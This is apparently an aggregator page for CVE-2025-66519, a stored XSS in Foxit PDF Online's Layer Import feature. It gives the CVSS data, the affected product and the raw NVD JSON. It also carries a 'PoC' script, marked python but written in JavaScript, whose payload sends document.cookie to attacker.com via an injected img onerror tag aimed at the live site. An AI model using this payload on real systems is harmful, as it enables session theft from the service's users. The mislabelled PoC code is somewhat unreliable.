Security Vulnerability Report
中文
CVE-2025-66519 CVSS 6.3 MEDIUM

CVE-2025-66519

Published: 2025-12-19 08:15:54
Last Modified: 2025-12-23 17:34:03
Source: 14984358-7092-470d-8f34-ade47a7658a2

Description

A stored cross-site scripting (XSS) vulnerability exists in pdfonline.foxit.com within the Layer Import functionality. A crafted payload can be injected into the “Create new Layer” field during layer import and is later rendered into the DOM without proper sanitization. As a result, the injected script executes when the Layers panel is accessed.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:foxit:pdf_editor_cloud:*:*:*:*:*:*:*:* - VULNERABLE
Foxit PDF Online (pdfonline.foxit.com) - Layer Import功能受影响
具体版本信息需参考Foxit官方安全公告

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-66519 PoC - Stored XSS in Foxit PDF Online Layer Import // Target: pdfonline.foxit.com Layer Import functionality const targetUrl = 'https://pdfonline.foxit.com'; // Malicious payload for Layer name field const xssPayload = '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)">\n'; // Step 1: Authenticate with low-privilege account async function authenticate() { const loginUrl = `${targetUrl}/auth/login`; // Replace with valid credentials const credentials = { username: '[email protected]', password: 'password123' }; const response = await fetch(loginUrl, { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify(credentials), credentials: 'include' }); return response.ok; } // Step 2: Create document and inject XSS via Layer Import async function injectXSS() { // Upload PDF or create new document const uploadUrl = `${targetUrl}/api/documents/upload`; // Intercept layer import request and modify layer name const layerData = { layerName: xssPayload, documentId: 'target-document-id', action: 'import' }; const response = await fetch(`${targetUrl}/api/layers/import`, { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify(layerData), credentials: 'include' }); return response.ok; } // Step 3: Trigger XSS when victim accesses Layers panel // Victim visits the document and opens Layers panel // The stored XSS payload executes automatically console.log('PoC for CVE-2025-66519'); console.log('Target:', targetUrl); console.log('Payload:', xssPayload);

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66519", "sourceIdentifier": "14984358-7092-470d-8f34-ade47a7658a2", "published": "2025-12-19T08:15:53.910", "lastModified": "2025-12-23T17:34:02.740", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stored cross-site scripting (XSS) vulnerability exists in pdfonline.foxit.com within the Layer Import functionality. A crafted payload can be injected into the “Create new Layer” field during layer import and is later rendered into the DOM without proper sanitization. As a result, the injected script executes when the Layers panel is accessed."}], "metrics": {"cvssMetricV31": [{"source": "14984358-7092-470d-8f34-ade47a7658a2", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:N", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "14984358-7092-470d-8f34-ade47a7658a2", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor_cloud:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025-12-01", "matchCriteriaId": "1C90C56D-E699-4600-92B1-30DF358CE2E9"}]}]}], "references": [{"url": "https://www.foxit.com/support/security-bulletins.html", "source": "14984358-7092-470d-8f34-ade47a7658a2", "tags": ["Vendor Advisory"]}]}}